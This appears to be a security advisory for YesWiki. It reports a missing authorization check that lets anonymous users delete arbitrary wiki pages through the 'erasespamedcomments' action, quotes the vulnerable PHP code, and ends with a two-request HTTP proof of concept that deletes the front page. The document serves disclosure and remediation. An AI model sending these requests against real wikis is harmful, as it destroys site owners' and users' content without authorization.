Summary The "{{erasespamedcomments}}" wiki action ("actions/EraseSpamedCommentsAction.php") accepts a "suppr[]" array from "POST" and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone ("default_write_acl='*'") on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users. The action's "delete()" callee is "PageManager::deleteOrphaned()", which despite its name does not check whether the target page is orphaned: it issues an unconditional "DELETE" against "pages", "links", "acls", "triples", "referrers", and "tags" tables. Details Three issues compose the vulnerability. 1. "actions/EraseSpamedCommentsAction.php" performs no authorization check before processing "$_POST['clean']" / "$_POST['suppr'][]" in "actions/EraseSpamedCommentsAction.php": public function run() { $wiki = &$this->wiki; ob_start(); // ... elseif (isset($_POST['clean'])) { $deletedPages = ''; if (!empty($_POST['suppr'])) { foreach ($_POST['suppr'] as $page) { echo 'Effacement de : ' . $page . "<br />\n"; if ($wiki->services->get(PageController::class)->delete($page)) { $deletedPages .= $page . ', '; } } } } } No "UserIsAdmin()", no "UserIsOwner()", no "HasAccess('write', $page)" per-target check, no CSRF token check. 2. The default action ACL grants access to everyone in "includes/YesWiki.php": $acl = empty($this->config['permissions'][$moduleType][$module]) ? '*' : $this->config['permissions'][$moduleType][$module]; if ($acl === null) { return true; } return $this->CheckACL($acl, $user); No shipped "permissions" map gates "erasespamedcomments" to admins, so "Performer::CheckModuleACL('erasespamedcomments', 'action')" returns "true" for anonymous users. 3. "PageController::delete()" and "PageManager::deleteOrphaned()" perform no authorization check and do not validate that the page is actually orphaned in "includes/controllers/PageController.php:38–48": public function delete(string $tag): bool { if ($this->entryManager->isEntry($tag)) { return $this->entryController->delete($tag); } else { $this->pageManager->deleteOrphaned($tag); $this->wiki->LogAdministrativeAction( $this->authController->getLoggedUserName(), 'Suppression de la page ->""' . $tag . '""' ); return true; } } in "includes/services/PageManager.php:289–310": public function deleteOrphaned($tag) { if ($this->securityController->isWikiHibernated()) { throw new \Exception(_t('WIKI_IN_HIBERNATION')); } unset($this->ownersCache[$tag]); if (in_array($tag, $this->pageCache)) { unset($this->pageCache[$tag]); } $this->dbService->query("DELETE FROM ... WHERE tag='{$this->dbService->escape($tag)}' OR comment_on='{$this->dbService->escape($tag)}'"); $this->dbService->query("DELETE FROM ...links... WHERE from_tag='{$this->dbService->escape($tag)}' "); $this->dbService->query("DELETE FROM ...acls... WHERE page_tag='{$this->dbService->escape($tag)}' "); // ...further unconditional DELETEs across triples, referrers, tags } The companion "isOrphaned()" method (line 284) exists but is never called from "deleteOrphaned()". The function name is misleading as it deletes any page, not just orphans. PoC Default fresh install where "default_write_acl='*'" (per "includes/YesWikiInit.php:219"), anonymous browsing. 4. create a trigger page (anonymous) POST /?wiki=SpamCleanup/edit HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded body=%7B%7Berasespamedcomments%7D%7D&submit=1 This succeeds because the new page passes "aclService->hasAccess('write', 'SpamCleanup')" against "default_write_acl='*'". 5. trigger arbitrary page deletion (anonymous) POST /?wiki=SpamCleanup HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded clean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPage Server response includes "Effacement de : PagePrincipale" and "Effacement de : AnotherTargetPage". "pages", "links", "acls", "triples", "referrers", and "tags" rows for those tags are deleted from the database. Impact Arbitrary page deletion, including the front page ("PagePrincipale").